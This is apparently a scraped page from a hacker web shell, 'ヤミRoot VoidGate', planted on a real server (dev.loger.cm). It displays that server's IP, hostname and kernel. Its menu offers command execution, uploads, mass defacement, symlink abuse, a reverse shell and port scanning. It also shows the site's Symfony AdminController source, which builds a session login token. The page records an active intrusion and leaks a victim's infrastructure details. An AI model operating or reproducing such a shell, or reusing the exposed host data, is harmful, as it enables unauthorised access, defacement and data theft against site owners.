ヤミRoot VoidGate
User / IP
:
216.73.216.81
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
src
/
Controller
/
Viewing: AdminController.php
<?php namespace App\Controller; use App\Security\EmailVerifier; use FOS\RestBundle\Controller\Annotations as Rest; use FOS\RestBundle\Controller\Annotations\View; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\EventDispatcher\EventDispatcherInterface; use Symfony\Component\HttpFoundation\JsonResponse; use Symfony\Component\HttpFoundation\RedirectResponse; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Routing\Annotation\Route; use Symfony\Component\Routing\Generator\UrlGeneratorInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken; use Symfony\Component\Security\Http\Event\InteractiveLoginEvent; class AdminController extends AbstractController { const ADMIN_ROUTE = "admin_dashboard"; private $emailVerifier; private $requestStack; private $tokenStorage; private $urlGenerator; private $eventDispatcher; private $session; public function __construct(EmailVerifier $emailVerifier, EventDispatcherInterface $eventDispatcher, TokenStorageInterface $tokenStorage, SessionInterface $session, UrlGeneratorInterface $urlGenerator, RequestStack $requestStack) { $this->emailVerifier = $emailVerifier; $this->session = $session; $this->requestStack=$requestStack; $this->tokenStorage = $tokenStorage; $this->urlGenerator = $urlGenerator; $this->eventDispatcher = $eventDispatcher; } /** * @Route({"es": "/contact","en": "/admin_check"}, name="app_admin") */ public function index(): Response { $user= $this->getUser(); if(is_null($user)){ $user=$_SESSION["user"]; } $token = new UsernamePasswordToken($user, "main", "common", $user->getRoles()); $request = $this->requestStack->getMainRequest(); if (!$request->hasPreviousSession()) { $request->setSession($this->session); $request->getSession()->start(); $request->cookies->set($request->getSession()->getName(), $request->getSession()->getId()); } $this->tokenStorage->setToken($token); $this->session->set('_security_common', serialize($token)); $event = new InteractiveLoginEvent($this->requestStack->getMainRequest(), $token); $this->eventDispatcher->dispatch( $event); sleep(2); return new RedirectResponse($this->getAdminUrl()); } public function getAdminUrl(): string { return $this->urlGenerator->generate(self::ADMIN_ROUTE); } }
Coded With 💗 by
0x6ick